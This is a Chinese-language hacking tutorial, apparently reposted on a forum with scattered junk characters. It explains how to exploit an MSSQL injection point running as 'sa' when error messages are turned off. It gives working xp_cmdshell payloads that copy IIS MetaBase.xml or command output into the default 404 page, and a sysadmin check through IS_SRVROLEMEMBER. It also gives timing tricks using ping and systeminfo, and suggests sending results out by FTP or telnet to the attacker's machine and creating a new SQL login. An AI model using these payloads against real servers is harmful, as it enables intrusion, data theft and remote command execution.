遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。/ G8 q: l! C( E
3 x3 r R; \- u; [) u; {' u" E, e 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
+ T. S1 a3 i8 b8 m) z$ d0 n" ?* Y
. n; B( d7 N3 E3 v) f3 L 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。: f; m. c( a7 N. l9 p5 a
4 M7 S4 Y; s3 y* i1 R. l A0 } IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm' V( {) n$ }$ W6 x3 y# B( N) J
0 X4 N$ t1 S$ c" q; R) Y) e
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--/ a8 `4 o7 r8 |
. \9 R. a2 m# Q$ O6 P6 q0 i+ ~ ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
7 Q9 { M) e: K7 g+ X& s. D7 X; M G u" u
执行命令得到回显
0 m. v* E: E* s+ G& ^/ W5 K0 W$ O8 \( _. W2 u( \$ z
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--9 M% D1 m' e; f+ i4 c5 v7 R
+ E; S0 X7 k% Q! t- c 得到文件也shi相同,把文件copy到404b.htm就行了; A. a0 u, N7 o0 Q$ v5 J
( W( q3 A4 I: ?. V1 Y+ w1 g" | by 28ice, 2008/6/26: G. e% C1 A! \# J
+ d1 p( S" _ b* K [ 摘自 28度的冰. J, o: c' _0 O. g4 _. ~7 D! O& N7 N
1 X; Z2 L! r" ? K% E& j
盲注判断权限和操作系统版本
% E {2 q* l. ~3 I3 f
. ^* N% t, w$ m 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?4 d2 q" o0 ?( c. h
" c$ R6 N& }; v1 W$ s' |: Y
最简单的,可能以用这样的方法:$ N$ @8 A, q) U8 `* G
7 q$ p# V. m! {' W! T! J 1=(select IS_SRVROLEMEMBER(’sysadmin’))
5 i" k+ ^' J2 q6 @8 n" Y2 }
* H2 Z b2 @; w 当然,有些情况下,这个方法并不奏效。+ O, A. q9 A% R# S7 e
! P3 p/ ^5 O. | 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
" L6 b; K( ~! J9 Y' c+ a% s
& f- \# Y& H7 Z4 X/ L 有个3办法可能以解决这个问题
6 ^ q# V% i: j7 g2 b; H# V* n5 F) x0 m( W% Q
a.把执行结果写到404b.htm,具体请看我的上一篇文章
2 t4 Z9 D% s0 ?7 r: @% n5 k1 { V/ o0 N0 I0 U" N
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
4 j1 K a! Q" G: L* w
$ A6 ?- K0 ]6 [1 y c.如果1433端口可能以连接,那干脆新建个sql登录! p7 q& y& u, W; d$ d" A
* f- o* g/ Z. O d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数$ _; a; `, m0 ?3 X# b
; X" { S4 J4 a% Q/ f: N, k 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下+ |. Y$ k( ?* U w" o4 @
" K( b. B( q0 S2 K, I 很简单
O% z1 \1 ?& T g( K) q
: J/ ` r7 K" ^. L* c+ o$ \+ C 执行systeminfo
+ x: u$ P9 E/ v! N' o) l4 d+ _& x" h
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |